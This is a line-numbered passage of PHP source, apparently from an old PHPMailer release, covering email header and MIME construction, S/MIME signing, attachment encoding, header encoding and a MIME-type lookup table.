2227 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2228 $result .= $this->AddrAppend('Bcc', $this->bcc);
2229 }
2230
2231 if(count($this->ReplyTo) > 0) {
2232 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2233 }
2234
2235 /* mail() sets the subject itself */
2236 if($this->Mailer != 'mail') {
2237 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2238 }
2239
2240 if($this->MessageID != '') {
2241 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2242 } else {
2243 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2244 }
2245 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2246 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2247
2248 if($this->ConfirmReadingTo != '') {
2249 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2250 }
2251
2252 // Add custom headers
2253 for($index = 0; $index < count($this->CustomHeader); $index++) {
2254 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2255 }
2256 if (!$this->sign_key_file) {
2257 $result .= $this->HeaderLine('MIME-Version', '1.0');
2258 $result .= $this->GetMailMIME();
2259 }
2260
2261 return $result;
2262 }
2263
2264 /**
2265 * Returns the message MIME.
2266 * @access private
2267 * @return string
2268 */
2269 function GetMailMIME() {
2270 $result = '';
2271 switch($this->message_type) {
2272 case 'plain':
2273 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2274 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2275 break;
2276 case 'attachments':
2277 /* fall through */
2278 case 'alt_attachments':
2279 if($this->InlineImageExists()){
2280 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2281 } else {
2282 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2283 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2284 }
2285 break;
2286 case 'alt':
2287 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2288 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2289 break;
2290 }
2291
2292 if($this->Mailer != 'mail') {
2293 $result .= $this->LE.$this->LE;
2294 }
2295
2296 return $result;
2297 }
2298
2299 /**
2300 * Assembles the message body. Returns an empty string on failure.
2301 * @access private
2302 * @return string
2303 */
2304 function CreateBody() {
2305 $result = '';
2306 if ($this->sign_key_file) {
2307 $result .= $this->GetMailMIME();
2308 }
2309
2310 $this->SetWordWrap();
2311
2312 switch($this->message_type) {
2313 case 'alt':
2314 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2315 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2316 $result .= $this->LE.$this->LE;
2317 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2318 $result .= $this->EncodeString($this->Body, $this->Encoding);
2319 $result .= $this->LE.$this->LE;
2320 $result .= $this->EndBoundary($this->boundary[1]);
2321 break;
2322 case 'plain':
2323 $result .= $this->EncodeString($this->Body, $this->Encoding);
2324 break;
2325 case 'attachments':
2326 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2327 $result .= $this->EncodeString($this->Body, $this->Encoding);
2328 $result .= $this->LE;
2329 $result .= $this->AttachAll();
2330 break;
2331 case 'alt_attachments':
2332 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2333 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2334 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2335 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2336 $result .= $this->LE.$this->LE;
2337 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2338 $result .= $this->EncodeString($this->Body, $this->Encoding);
2339 $result .= $this->LE.$this->LE;
2340 $result .= $this->EndBoundary($this->boundary[2]);
2341 $result .= $this->AttachAll();
2342 break;
2343 }
2344
2345 if($this->IsError()) {
2346 $result = '';
2347 } else if ($this->sign_key_file) {
2348 $file = tempnam("", "mail");
2349 $fp = fopen($file, "w");
2350 fwrite($fp, $result);
2351 fclose($fp);
2352 $signed = tempnam("", "signed");
2353
2354 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2355 $fp = fopen($signed, "r");
2356 $result = fread($fp, filesize($this->sign_key_file));
2357 fclose($fp);
2358 } else {
2359 $this->SetError($this->Lang("signing").openssl_error_string());
2360 $result = '';
2361 }
2362
2363 unlink($file);
2364 unlink($signed);
2365 }
2366
2367 return $result;
2368 }
2369
2370 /**
2371 * Returns the start of a message boundary.
2372 * @access private
2373 */
2374 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2375 $result = '';
2376 if($charSet == '') {
2377 $charSet = $this->CharSet;
2378 }
2379 if($contentType == '') {
2380 $contentType = $this->ContentType;
2381 }
2382 if($encoding == '') {
2383 $encoding = $this->Encoding;
2384 }
2385 $result .= $this->TextLine('--' . $boundary);
2386 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2387 $result .= $this->LE;
2388 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2389 $result .= $this->LE;
2390
2391 return $result;
2392 }
2393
2394 /**
2395 * Returns the end of a message boundary.
2396 * @access private
2397 */
2398 function EndBoundary($boundary) {
2399 return $this->LE . '--' . $boundary . '--' . $this->LE;
2400 }
2401
2402 /**
2403 * Sets the message type.
2404 * @access private
2405 * @return void
2406 */
2407 function SetMessageType() {
2408 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2409 $this->message_type = 'plain';
2410 } else {
2411 if(count($this->attachment) > 0) {
2412 $this->message_type = 'attachments';
2413 }
2414 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2415 $this->message_type = 'alt';
2416 }
2417 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2418 $this->message_type = 'alt_attachments';
2419 }
2420 }
2421 }
2422
2423 /* Returns a formatted header line.
2424 * @access private
2425 * @return string
2426 */
2427 function HeaderLine($name, $value) {
2428 return $name . ': ' . $value . $this->LE;
2429 }
2430
2431 /**
2432 * Returns a formatted mail line.
2433 * @access private
2434 * @return string
2435 */
2436 function TextLine($value) {
2437 return $value . $this->LE;
2438 }
2439
2440 /////////////////////////////////////////////////
2441 // CLASS METHODS, ATTACHMENTS
2442 /////////////////////////////////////////////////
2443
2444 /**
2445 * Adds an attachment from a path on the filesystem.
2446 * Returns false if the file could not be found
2447 * or accessed.
2448 * @param string $path Path to the attachment.
2449 * @param string $name Overrides the attachment name.
2450 * @param string $encoding File encoding (see $Encoding).
2451 * @param string $type File extension (MIME) type.
2452 * @return bool
2453 */
2454 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2455 if(!@is_file($path)) {
2456 $this->SetError($this->Lang('file_access') . $path);
2457 return false;
2458 }
2459
2460 $filename = basename($path);
2461 if($name == '') {
2462 $name = $filename;
2463 }
2464
2465 $cur = count($this->attachment);
2466 $this->attachment[$cur][0] = $path;
2467 $this->attachment[$cur][1] = $filename;
2468 $this->attachment[$cur][2] = $name;
2469 $this->attachment[$cur][3] = $encoding;
2470 $this->attachment[$cur][4] = $type;
2471 $this->attachment[$cur][5] = false; // isStringAttachment
2472 $this->attachment[$cur][6] = 'attachment';
2473 $this->attachment[$cur][7] = 0;
2474
2475 return true;
2476 }
2477
2478 /**
2479 * Attaches all fs, string, and binary attachments to the message.
2480 * Returns an empty string on failure.
2481 * @access private
2482 * @return string
2483 */
2484 function AttachAll() {
2485 /* Return text of body */
2486 $mime = array();
2487
2488 /* Add all attachments */
2489 for($i = 0; $i < count($this->attachment); $i++) {
2490 /* Check for string attachment */
2491 $bString = $this->attachment[$i][5];
2492 if ($bString) {
2493 $string = $this->attachment[$i][0];
2494 } else {
2495 $path = $this->attachment[$i][0];
2496 }
2497
2498 $filename = $this->attachment[$i][1];
2499 $name = $this->attachment[$i][2];
2500 $encoding = $this->attachment[$i][3];
2501 $type = $this->attachment[$i][4];
2502 $disposition = $this->attachment[$i][6];
2503 $cid = $this->attachment[$i][7];
2504
2505 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2506 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2507 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2508
2509 if($disposition == 'inline') {
2510 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2511 }
2512
2513 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2514
2515 /* Encode as string attachment */
2516 if($bString) {
2517 $mime[] = $this->EncodeString($string, $encoding);
2518 if($this->IsError()) {
2519 return '';
2520 }
2521 $mime[] = $this->LE.$this->LE;
2522 } else {
2523 $mime[] = $this->EncodeFile($path, $encoding);
2524 if($this->IsError()) {
2525 return '';
2526 }
2527 $mime[] = $this->LE.$this->LE;
2528 }
2529 }
2530
2531 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2532
2533 return join('', $mime);
2534 }
2535
2536 /**
2537 * Encodes attachment in requested format. Returns an
2538 * empty string on failure.
2539 * @access private
2540 * @return string
2541 */
2542 function EncodeFile ($path, $encoding = 'base64') {
2543 if(!@$fd = fopen($path, 'rb')) {
2544 $this->SetError($this->Lang('file_open') . $path);
2545 return '';
2546 }
2547 $magic_quotes = get_magic_quotes_runtime();
2548 set_magic_quotes_runtime(0);
2549 $file_buffer = fread($fd, filesize($path));
2550 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2551 fclose($fd);
2552 set_magic_quotes_runtime($magic_quotes);
2553
2554 return $file_buffer;
2555 }
2556
2557 /**
2558 * Encodes string to requested format. Returns an
2559 * empty string on failure.
2560 * @access private
2561 * @return string
2562 */
2563 function EncodeString ($str, $encoding = 'base64') {
2564 $encoded = '';
2565 switch(strtolower($encoding)) {
2566 case 'base64':
2567 /* chunk_split is found in PHP >= 3.0.6 */
2568 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2569 break;
2570 case '7bit':
2571 case '8bit':
2572 $encoded = $this->FixEOL($str);
2573 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2574 $encoded .= $this->LE;
2575 break;
2576 case 'binary':
2577 $encoded = $str;
2578 break;
2579 case 'quoted-printable':
2580 $encoded = $this->EncodeQP($str);
2581 break;
2582 default:
2583 $this->SetError($this->Lang('encoding') . $encoding);
2584 break;
2585 }
2586 return $encoded;
2587 }
2588
2589 /**
2590 * Encode a header string to best of Q, B, quoted or none.
2591 * @access private
2592 * @return string
2593 */
2594 function EncodeHeader ($str, $position = 'text') {
2595 $x = 0;
2596
2597 switch (strtolower($position)) {
2598 case 'phrase':
2599 if (!preg_match('/[\200-\377]/', $str)) {
2600 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2601 $encoded = addcslashes($str, "\0..\37\177\\\"");
2602 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2603 return ($encoded);
2604 } else {
2605 return ("\"$encoded\"");
2606 }
2607 }
2608 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2609 break;
2610 case 'comment':
2611 $x = preg_match_all('/[()"]/', $str, $matches);
2612 /* Fall-through */
2613 case 'text':
2614 default:
2615 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2616 break;
2617 }
2618
2619 if ($x == 0) {
2620 return ($str);
2621 }
2622
2623 $maxlen = 75 - 7 - strlen($this->CharSet);
2624 /* Try to select the encoding which should produce the shortest output */
2625 if (strlen($str)/3 < $x) {
2626 $encoding = 'B';
2627 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2628 // Use a custom function which correctly encodes and wraps long
2629 // multibyte strings without breaking lines within a character
2630 $encoded = $this->Base64EncodeWrapMB($str);
2631 } else {
2632 $encoded = base64_encode($str);
2633 $maxlen -= $maxlen % 4;
2634 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2635 }
2636 } else {
2637 $encoding = 'Q';
2638 $encoded = $this->EncodeQ($str, $position);
2639 $encoded = $this->WrapText($encoded, $maxlen, true);
2640 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2641 }
2642
2643 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2644 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2645
2646 return $encoded;
2647 }
2648
2649 /**
2650 * Checks if a string contains multibyte characters.
2651 * @access private
2652 * @param string $str multi-byte text to wrap encode
2653 * @return bool
2654 */
2655 function HasMultiBytes($str) {
2656 if (function_exists('mb_strlen')) {
2657 return (strlen($str) > mb_strlen($str, $this->CharSet));
2658 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2659 return False;
2660 }
2661 }
2662
2663 /**
2664 * Correctly encodes and wraps long multibyte strings for mail headers
2665 * without breaking lines within a character.
2666 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2667 * @access private
2668 * @param string $str multi-byte text to wrap encode
2669 * @return string
2670 */
2671 function Base64EncodeWrapMB($str) {
2672 $start = "=?".$this->CharSet."?B?";
2673 $end = "?=";
2674 $encoded = "";
2675
2676 $mb_length = mb_strlen($str, $this->CharSet);
2677 // Each line must have length <= 75, including $start and $end
2678 $length = 75 - strlen($start) - strlen($end);
2679 // Average multi-byte ratio
2680 $ratio = $mb_length / strlen($str);
2681 // Base64 has a 4:3 ratio
2682 $offset = $avgLength = floor($length * $ratio * .75);
2683
2684 for ($i = 0; $i < $mb_length; $i += $offset) {
2685 $lookBack = 0;
2686
2687 do {
2688 $offset = $avgLength - $lookBack;
2689 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2690 $chunk = base64_encode($chunk);
2691 $lookBack++;
2692 }
2693 while (strlen($chunk) > $length);
2694
2695 $encoded .= $chunk . $this->LE;
2696 }
2697
2698 // Chomp the last linefeed
2699 $encoded = substr($encoded, 0, -strlen($this->LE));
2700 return $encoded;
2701 }
2702
2703 /**
2704 * Encode string to quoted-printable.
2705 * @access private
2706 * @return string
2707 */
2708 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2709 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2710 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2711 $eol = "\r\n";
2712 $escape = '=';
2713 $output = '';
2714 while( list(, $line) = each($lines) ) {
2715 $linlen = strlen($line);
2716 $newline = '';
2717 for($i = 0; $i < $linlen; $i++) {
2718 $c = substr( $line, $i, 1 );
2719 $dec = ord( $c );
2720 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2721 $c = '=2E';
2722 }
2723 if ( $dec == 32 ) {
2724 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2725 $c = '=20';
2726 } else if ( $space_conv ) {
2727 $c = '=20';
2728 }
2729 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2730 $h2 = floor($dec/16);
2731 $h1 = floor($dec%16);
2732 $c = $escape.$hex[$h2].$hex[$h1];
2733 }
2734 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2735 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2736 $newline = '';
2737 // check if newline first character will be point or not
2738 if ( $dec == 46 ) {
2739 $c = '=2E';
2740 }
2741 }
2742 $newline .= $c;
2743 } // end of for
2744 $output .= $newline.$eol;
2745 } // end of while
2746 return trim($output);
2747 }
2748
2749 /**
2750 * Encode string to q encoding.
2751 * @access private
2752 * @return string
2753 */
2754 function EncodeQ ($str, $position = 'text') {
2755 /* There should not be any EOL in the string */
2756 $encoded = preg_replace("[\r\n]", '', $str);
2757
2758 switch (strtolower($position)) {
2759 case 'phrase':
2760 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2761 break;
2762 case 'comment':
2763 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2764 case 'text':
2765 default:
2766 /* Replace every high ascii, control =, ? and _ characters */
2767 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2768 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2769 break;
2770 }
2771
2772 /* Replace every spaces to _ (more readable than =20) */
2773 $encoded = str_replace(' ', '_', $encoded);
2774
2775 return $encoded;
2776 }
2777
2778 /**
2779 * Adds a string or binary attachment (non-filesystem) to the list.
2780 * This method can be used to attach ascii or binary data,
2781 * such as a BLOB record from a database.
2782 * @param string $string String attachment data.
2783 * @param string $filename Name of the attachment.
2784 * @param string $encoding File encoding (see $Encoding).
2785 * @param string $type File extension (MIME) type.
2786 * @return void
2787 */
2788 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2789 /* Append to $attachment array */
2790 $cur = count($this->attachment);
2791 $this->attachment[$cur][0] = $string;
2792 $this->attachment[$cur][1] = $filename;
2793 $this->attachment[$cur][2] = $filename;
2794 $this->attachment[$cur][3] = $encoding;
2795 $this->attachment[$cur][4] = $type;
2796 $this->attachment[$cur][5] = true; // isString
2797 $this->attachment[$cur][6] = 'attachment';
2798 $this->attachment[$cur][7] = 0;
2799 }
2800
2801 /**
2802 * Adds an embedded attachment. This can include images, sounds, and
2803 * just about any other document. Make sure to set the $type to an
2804 * image type. For JPEG images use "image/jpeg" and for GIF images
2805 * use "image/gif".
2806 * @param string $path Path to the attachment.
2807 * @param string $cid Content ID of the attachment. Use this to identify
2808 * the Id for accessing the image in an HTML form.
2809 * @param string $name Overrides the attachment name.
2810 * @param string $encoding File encoding (see $Encoding).
2811 * @param string $type File extension (MIME) type.
2812 * @return bool
2813 */
2814 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2815
2816 if(!@is_file($path)) {
2817 $this->SetError($this->Lang('file_access') . $path);
2818 return false;
2819 }
2820
2821 $filename = basename($path);
2822 if($name == '') {
2823 $name = $filename;
2824 }
2825
2826 /* Append to $attachment array */
2827 $cur = count($this->attachment);
2828 $this->attachment[$cur][0] = $path;
2829 $this->attachment[$cur][1] = $filename;
2830 $this->attachment[$cur][2] = $name;
2831 $this->attachment[$cur][3] = $encoding;
2832 $this->attachment[$cur][4] = $type;
2833 $this->attachment[$cur][5] = false;
2834 $this->attachment[$cur][6] = 'inline';
2835 $this->attachment[$cur][7] = $cid;
2836
2837 return true;
2838 }
2839
2840 /**
2841 * Returns true if an inline attachment is present.
2842 * @access private
2843 * @return bool
2844 */
2845 function InlineImageExists() {
2846 $result = false;
2847 for($i = 0; $i < count($this->attachment); $i++) {
2848 if($this->attachment[$i][6] == 'inline') {
2849 $result = true;
2850 break;
2851 }
2852 }
2853
2854 return $result;
2855 }
2856
2857 /////////////////////////////////////////////////
2858 // CLASS METHODS, MESSAGE RESET
2859 /////////////////////////////////////////////////
2860
2861 /**
2862 * Clears all recipients assigned in the TO array. Returns void.
2863 * @return void
2864 */
2865 function ClearAddresses() {
2866 $this->to = array();
2867 }
2868
2869 /**
2870 * Clears all recipients assigned in the CC array. Returns void.
2871 * @return void
2872 */
2873 function ClearCCs() {
2874 $this->cc = array();
2875 }
2876
2877 /**
2878 * Clears all recipients assigned in the BCC array. Returns void.
2879 * @return void
2880 */
2881 function ClearBCCs() {
2882 $this->bcc = array();
2883 }
2884
2885 /**
2886 * Clears all recipients assigned in the ReplyTo array. Returns void.
2887 * @return void
2888 */
2889 function ClearReplyTos() {
2890 $this->ReplyTo = array();
2891 }
2892
2893 /**
2894 * Clears all recipients assigned in the TO, CC and BCC
2895 * array. Returns void.
2896 * @return void
2897 */
2898 function ClearAllRecipients() {
2899 $this->to = array();
2900 $this->cc = array();
2901 $this->bcc = array();
2902 }
2903
2904 /**
2905 * Clears all previously set filesystem, string, and binary
2906 * attachments. Returns void.
2907 * @return void
2908 */
2909 function ClearAttachments() {
2910 $this->attachment = array();
2911 }
2912
2913 /**
2914 * Clears all custom headers. Returns void.
2915 * @return void
2916 */
2917 function ClearCustomHeaders() {
2918 $this->CustomHeader = array();
2919 }
2920
2921 /////////////////////////////////////////////////
2922 // CLASS METHODS, MISCELLANEOUS
2923 /////////////////////////////////////////////////
2924
2925 /**
2926 * Adds the error message to the error container.
2927 * Returns void.
2928 * @access private
2929 * @return void
2930 */
2931 function SetError($msg) {
2932 $this->error_count++;
2933 $this->ErrorInfo = $msg;
2934 }
2935
2936 /**
2937 * Returns the proper RFC 822 formatted date.
2938 * @access private
2939 * @return string
2940 */
2941 function RFCDate() {
2942 $tz = date('Z');
2943 $tzs = ($tz < 0) ? '-' : '+';
2944 $tz = abs($tz);
2945 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2946 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2947
2948 return $result;
2949 }
2950
2951 /**
2952 * Returns the appropriate server variable. Should work with both
2953 * PHP 4.1.0+ as well as older versions. Returns an empty string
2954 * if nothing is found.
2955 * @access private
2956 * @return mixed
2957 */
2958 function ServerVar($varName) {
2959 global $HTTP_SERVER_VARS;
2960 global $HTTP_ENV_VARS;
2961
2962 if(!isset($_SERVER)) {
2963 $_SERVER = $HTTP_SERVER_VARS;
2964 if(!isset($_SERVER['REMOTE_ADDR'])) {
2965 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2966 }
2967 }
2968
2969 if(isset($_SERVER[$varName])) {
2970 return $_SERVER[$varName];
2971 } else {
2972 return '';
2973 }
2974 }
2975
2976 /**
2977 * Returns the server hostname or 'localhost.localdomain' if unknown.
2978 * @access private
2979 * @return string
2980 */
2981 function ServerHostname() {
2982 if ($this->Hostname != '') {
2983 $result = $this->Hostname;
2984 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2985 $result = $this->ServerVar('SERVER_NAME');
2986 } else {
2987 $result = 'localhost.localdomain';
2988 }
2989
2990 return $result;
2991 }
2992
2993 /**
2994 * Returns a message in the appropriate language.
2995 * @access private
2996 * @return string
2997 */
2998 function Lang($key) {
2999 if(count($this->language) < 1) {
3000 $this->SetLanguage('en'); // set the default language
3001 }
3002
3003 if(isset($this->language[$key])) {
3004 return $this->language[$key];
3005 } else {
3006 return 'Language string failed to load: ' . $key;
3007 }
3008 }
3009
3010 /**
3011 * Returns true if an error occurred.
3012 * @return bool
3013 */
3014 function IsError() {
3015 return ($this->error_count > 0);
3016 }
3017
3018 /**
3019 * Changes every end of line from CR or LF to CRLF.
3020 * @access private
3021 * @return string
3022 */
3023 function FixEOL($str) {
3024 $str = str_replace("\r\n", "\n", $str);
3025 $str = str_replace("\r", "\n", $str);
3026 $str = str_replace("\n", $this->LE, $str);
3027 return $str;
3028 }
3029
3030 /**
3031 * Adds a custom header.
3032 * @return void
3033 */
3034 function AddCustomHeader($custom_header) {
3035 $this->CustomHeader[] = explode(':', $custom_header, 2);
3036 }
3037
3038 /**
3039 * Evaluates the message and returns modifications for inline images and backgrounds
3040 * @access public
3041 * @return $message
3042 */
3043 function MsgHTML($message,$basedir='') {
3044 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3045 if(isset($images[2])) {
3046 foreach($images[2] as $i => $url) {
3047 // do not change urls for absolute images (thanks to corvuscorax)
3048 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3049 $filename = basename($url);
3050 $directory = dirname($url);
3051 ($directory == '.')?$directory='':'';
3052 $cid = 'cid:' . md5($filename);
3053 $fileParts = split("\.", $filename);
3054 $ext = $fileParts[1];
3055 $mimeType = $this->_mime_types($ext);
3056 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3057 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3058 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3059 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3060 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3061 }
3062 }
3063 }
3064 }
3065 $this->IsHTML(true);
3066 $this->Body = $message;
3067 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3068 if ( !empty($textMsg) && empty($this->AltBody) ) {
3069 $this->AltBody = $textMsg;
3070 }
3071 if ( empty($this->AltBody) ) {
3072 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3073 }
3074 }
3075
3076 /**
3077 * Gets the mime type of the embedded or inline image
3078 * @access private
3079 * @return mime type of ext
3080 */
3081 function _mime_types($ext = '') {
3082 $mimes = array(
3083 'hqx' => 'application/mac-binhex40',
3084 'cpt' => 'application/mac-compactpro',
3085 'doc' => 'application/msword',
3086 'bin' => 'application/macbinary',
3087 'dms' => 'application/octet-stream',
3088 'lha' => 'application/octet-stream',
3089 'lzh' => 'application/octet-stream',
3090 'exe' => 'application/octet-stream',
3091 'class' => 'application/octet-stream',
3092 'psd' => 'application/octet-stream',
3093 'so' => 'application/octet-stream',
3094 'sea' => 'application/octet-stream',
3095 'dll' => 'application/octet-stream',
3096 'oda' => 'application/oda',
3097 'pdf' => 'application/pdf',
3098 'ai' => 'application/postscript',
3099 'eps' => 'application/postscript',
3100 'ps' => 'application/postscript',
3101 'smi' => 'application/smil',
3102 'smil' => 'application/smil',
3103 'mif' => 'application/vnd.mif',
3104 'xls' => 'application/vnd.ms-excel',
3105 'ppt' => 'application/vnd.ms-powerpoint',
3106 'wbxml' => 'application/vnd.wap.wbxml',
3107 'wmlc' => 'application/vnd.wap.wmlc',
3108 'dcr' => 'application/x-director',
3109 'dir' => 'application/x-director',
3110 'dxr' => 'application/x-director',
3111 'dvi' => 'application/x-dvi',
3112 'gtar' => 'application/x-gtar',
3113 'php' => 'application/x-httpd-php',
3114 'php4' => 'application/x-httpd-php',
3115 'php3' => 'application/x-httpd-php',
3116 'phtml' => 'application/x-httpd-php',
3117 'phps' => 'application/x-httpd-php-source',
3118 'js' => 'application/x-javascript',
3119 'swf' => 'application/x-shockwave-flash',
3120 'sit' => 'application/x-stuffit',
3121 'tar' => 'application/x-tar',
3122 'tgz' => 'application/x-tar',
3123 'xhtml' => 'application/xhtml+xml',
3124 'xht' => 'application/xhtml+xml',
3125 'zip' => 'application/zip',
3126 'mid' => 'audio/midi',
3127 'midi' => 'audio/midi',
3128 'mpga' => 'audio/mpeg',
3129 'mp2' => 'audio/mpeg',
3130 'mp3' => 'audio/mpeg',
3131 'aif' => 'audio/x-aiff',
3132 'aiff' => 'audio/x-aiff',
3133 'aifc' => 'audio/x-aiff',
3134 'ram' => 'audio/x-pn-realaudio',
3135 'rm' => 'audio/x-pn-realaudio',
3136 'rpm' => 'audio/x-pn-realaudio-plugin',
3137 'ra' => 'audio/x-realaudio',
3138 'rv' => 'video/vnd.rn-realvideo',
3139 'wav' => 'audio/x-wav',
3140 'bmp' => 'image/bmp',
3141 'gif' => 'image/gif',
3142 'jpeg' => 'image/jpeg',
3143 'jpg' => 'image/jpeg',
3144 'jpe' => 'image/jpeg',
3145 'png' => 'image/png',
3146 'tiff' => 'image/tiff',
3147 'tif' => 'image/tiff',
3148 'css' => 'text/css',
3149 'html' => 'text/html',
3150 'htm' => 'text/html',
3151 'shtml' => 'text/html',
3152 'txt' => 'text/plain',
3153 'text' => 'text/plain',
3154 'log' => 'text/plain',
3155 'rtx' => 'text/richtext',
3156 'rtf' => 'text/rtf',
3157 'xml' => 'text/xml',
3158 'xsl' => 'text/xml',
3159 'mpeg' => 'video/mpeg',
3160 'mpg' => 'video/mpeg',
3161 'mpe' => 'video/mpeg',
3162 'qt' => 'video/quicktime',
3163 'mov' => 'video/quicktime',
3164 'avi' => 'video/x-msvideo',
3165 'movie' => 'video/x-sgi-movie',
3166 'doc' => 'application/msword',
3167 'word' => 'application/msword',
3168 'xl' => 'application/excel',
3169 'eml' => 'message/rfc822'
3170 );
3171 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3172 }
3173
3174 /**
3175 * Set (or reset) Class Objects (variables)
3176 *
3177 * Usage Example:
3178 * $page->set('X-Priority', '3');
3179 *
3180 * @access public
3181 * @param string $name Parameter Name
3182 * @param mixed $value Parameter Value
3183 * NOTE: will not work with arrays, there are no arrays to set/reset
3184 */
3185 function set ( $name, $value = '' ) {
3186 if ( isset($this->$name) ) {
3187 $this->$name = $value;
3188 } else {
3189 $this->SetError('Cannot set or reset variable ' . $name);
3190 return false;
3191 }
3192 }
3193
3194 /**
3195 * Read a file from a supplied filename and return it.
3196 *
3197 * @access public
3198 * @param string $filename Parameter File Name
3199 */
3200 function getFile($filename) {
3201 $return = '';
3202 if ($fp = fopen($filename, 'rb')) {
3203 while (!feof($fp)) {
3204 $return .= fread($fp, 1024);
3205 }
3206 fclose($fp);
3207 return $return;
3208 } else {
